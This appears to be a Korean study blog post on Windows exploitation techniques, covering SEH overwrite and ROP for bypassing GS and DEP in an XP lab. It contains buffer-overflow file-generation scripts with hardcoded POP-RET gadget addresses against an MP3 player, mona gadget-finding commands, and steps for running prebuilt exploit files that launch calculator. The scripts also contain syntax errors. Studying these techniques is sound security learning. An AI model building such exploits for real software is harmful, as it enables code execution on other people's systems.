소프트웨어 버그 헌팅 - 5(메모리 우회 기법/SEH,ROP)
(SEH(Structured Exception Handling) OverWrite 및 ROP(Return Oriented Programming) 실습)

이번 포스팅에서는 XP에서 SEH OverWrite와 ROP를 실습해볼 예정이다.

SEH OverWrite는 윈도우에서 GS 메모리 보호기법을 우회하기 위해 생긴 공격 기법이다.
윈도우의 GS는 Stack Cookies를 통해서 스택이 변조되어 있는지 안되어있는지 확인하고
변조되면 종료하게 된다.
리눅스의 Canary와 유사한 알고리즘을 가진다. 

그렇다면 Stack Cookies의 값을 변조하지 않고 중간에 공격코드를 삽입하여 실행시키면 될 것 아닌가?
그래서 나온 것이 SEH OverWrite이다.
기본적으로 SEH Overwrite는 예외처리가 발생하면 Stack Cookies를 거치지 않고 프로그램이 종료되는 것을 노린 취약점이다.
그렇기 때문에 예외처리구문이 있어야 발생할 수 있는 취약점이다. 

ROP와 SEH Overwrite 핵심은 PPR인데, 코드를 가져와서 연결 연결해서 실행하는 것이다.
(POP POP Return)

* POP은 제일 상단의 값을 레지스터에 넣고 ESP -4 한다.
* RETURN은 제일 상단의 값을 EIP에 가지고 오고 ESP -4한다.

이 원리로 ROP와 SEH Overwrite가 발생한다.
(ROP는 이것 외에도 다른 원리 존재)

간략적으로 SEH Overwrite를 그림으로 설명하면 다음과 같다.


또한 View - SEH Chain으로 SEH Chain을 확인할 수 있다.


SEH OverWrite를 방지하기 위해 SafeSEH가 등장했다.
SafeSEH는 SEH 체인이 변조되면 프로그램을 종료시켜버린다.

우회하기 위해서는
1. SEH 기반 공격을 안하거나
2. SafeSEH로 컴파일 되지 않은 모듈이 있다면 여기에서 POP/POP/RET 주소를 가져와서 사용할 수 있다.
(소프트웨어 버그 헌팅 - 2,3에 실습하면서 모듈가지고 오는 실습 참조)


ROP기법은 DEP(Data Execution Prevention, DEP) 데이터실행 방지 보호기법을 우회 하기 위해 나온 방법이다.
DEP는 두가지 모드에서 실행된다. 하드웨어 기반 DEP는 메모리 페이지를 실행 불가능한 영역으로 마크한다.(NX bit)
소프트웨어 기반 DEP는 하드웨어 지원은 되지 않는다.
소프트웨어 DEP는 데이터 페이지에서 코드 실행을 보호하지는 못하지만 SEH 기반 공격을 막을 순 있다.
DEP가 활성화 되어 있는 경우, 보호된 메모리 영역에서 코드 실행이 감지되면 Access Violation이 발생하면서
프로그램이 종료되어버린다. 따라서 공격자는 메모리 제어가 가능하더라도 Shellcode를 실행할 수 없다.

ROP는 마치 프로그래밍을 하듯이 함수 호출을 연계하고, Return Address를 조작한다.
프로그래밍은 개발자가 어떻게 코딩하느냐에 따라 처리 또는 결과 등이 달라지듯이 
ROP도 해커가 어떻게 이 기법을 활용하여 콜 스택을 조작하느냐에 따라 불가능한 공격을 가능하게한다.

따라서 ROP를 이용하는 전형적인 Case는 정확히 말할 수 없다고 한다.
참조: https://d4m0n.tistory.com/84http://noplanlife.com/?p=378

* GS, Canary, SEH OverWrite, DEP, ROP 내용 보강 필요
(SEH OverWrite: https://www.corelan.be/index.php/2009/07/25/writing-buffer-overflow-exploits-a-quick-and-basic-tutorial-part-3-seh/


ppr_quiz.zip

PPR 원리를 잘 이해하기 위해 다음과 같이 실습을 해보자

a 파일을 보면
bof = "A" * 26062
eip = "BBBB" #POP RET
junk = "\x90" * 4
str 1="B"*4 #
str 2 = "C" *4
str3 = "D" * 4
str4 = "F" * 8
str5 = "G" * 4 # make final EIP
buf = bof + eip + junk +eip+ str1+str2+str3+str4+str5
f=open("PPR1.m3u","w")
f=close()

이 있다.(위와 같이 수정 필요 및 bof는 찾아서 맞춰야함)


POP과 Return을 활용해서 EIP에 GGGGG가 찍히게 하는 것이 이번 목표이다.

그러기 위해서 bof로 더미값을 넣어준다음에 EIP에 PR 있는 주소를 넣으면 된다.

해당 주소는 \x59\x55\x01\x10 이다.

찾는 방법은 다음과 같다.
프로그램 실행시켜서 dll이 로드된 상태에서
!mona findwild -s "pop r32 # ret" -n
위의 모나 명령어를 통해서 pop ret 명령어가 어디 있는지 확인할 수 있다.
(C\log\mp3~\findwild)


그리고 BP를 설정하기 위해서 dll을 다 로드한 다음에 pop ret 주소(\x59\x55\x01\x10)에 BP를 걸어준다.


여기서 한코드 넘어가면서 분석해본다.

그럼 다음과 같이 수정할 수 있을 것이다.

bof = "A" * 26062
eip = "\x59\x55\x01\x10" #POP RET
junk = "\x90" * 4
str 1 = "B"*4
str 2 = "C" *4
str 3 = "D" * 4
str 4 = "F" * 8
str 5 = "G" * 4 # make final EIP
buf = bof + eip + junk +eip+ eip+ str1+eip+str2+eip+str3+eip+str4+eip+str5
f=open("PPR1.m3u","w")
f=close()

이렇게 실행하면 str4전에 막히게 된다. str는 F가 8개나 있기때문에

POP RET로 넘어갈 수가 없다.


그러면 POP POP RET로 넘어가면 된다.

아까 POP RET 찾는 방법을 가지고 POP POP RET을 찾으면 된다.
!mona findwild -s "pop r32 # pop r32 # ret " -n

여러개가 나오는데 그중에서 \x6f\x10\x54\x77을 사용하자(아무거나 상관X)

그러면 최종 코드는 다음과 같이 된다.
bof = "A" * 26062
eip = "\x59\x55\x01\x10" #POP RET
eip2 = "\x6f\x10\x54\x77" #POP POP RET
junk = "\x90" * 4
str 1 = "B"*4
str 2 = "C" *4
str 3 = "D" * 4
str 4 = "F" * 8
str 5 = "G" * 4 # make final EIP
buf = bof + eip + junk +eip+ eip+ str1+eip+str2+eip+str3+eip2+str4+str5
f=open("PPR1.m3u","w")
f=close()

해당 소스코드로 파일을 생성하여 넣으면 다음과 같이 EIP에 GGGG(47474747)의 값이 들어가는 것을 확인할 수 있다.



모나 명령어 정리
!mona config -set workingfolder C:\logs\%p             // 모나 경로설정
!mona pc 30000 -extended                                     // 패턴 생성
!mona po 오프셋 30000 -extended                            //오프셋 찾기
!mona rop -n                                                        // ROP 추천
!mona seh -n                                                        // SEH 추천
!mona findwild -s "어셈 # 어셈 # 어셈" -n                   // 어셈 명령어 찾기

 


이번에는 ROP를 실습만 해볼 것이다.

hfs.exe

vu_rop.zip

위의 파일을 XP에 옮기고 

XP환경에서 내컴퓨터 -> 속성 -> 고급 -> 성능옵션 -> 데이터 실행방지(DEP)에서 

밑에꺼 체크하고 재부팅


vu_rop 폴더에 있는 vuplayer 설치하고 실행한 뒤 exploit 파일을 넣어본다.

그럼 아무 것도 뜨지 않고 바로 종료되는 것을 볼 수 있다.

그럼 exploit 파일을 말고 roptest를 넣어보자.


계산기가 뜨는 것을 볼 수 있다.


그럼이제 디버거에서 vuplayer를 실행 시켜본다.

디버거에서 실행할때 시간이 좀 걸리는 편이니 조금 기다려준다.

그리고 똑같이 exploit.mp4파일을 실행시킨다.

그런데 실행이 안된다. 

디버거에서 Access violation when executing이라고 뜨면서 안된다. 

DEP때문에 실행권한이 없어서 실행이 불가능한 것이다.


exploit.mp4 파일이 아닌 roptest.mp4파일을 디버거에서 실행시켜보자.

그럼 실행이 잘되고, 계산기까지 뜨는 것을 확인할 수 있다.


해당 ROP소스코드는 추후에 시간이 많을 때 다시 추가 작성 필요
(ROP 소스코드 및 ROP해석.txt 참고)

+ Recent posts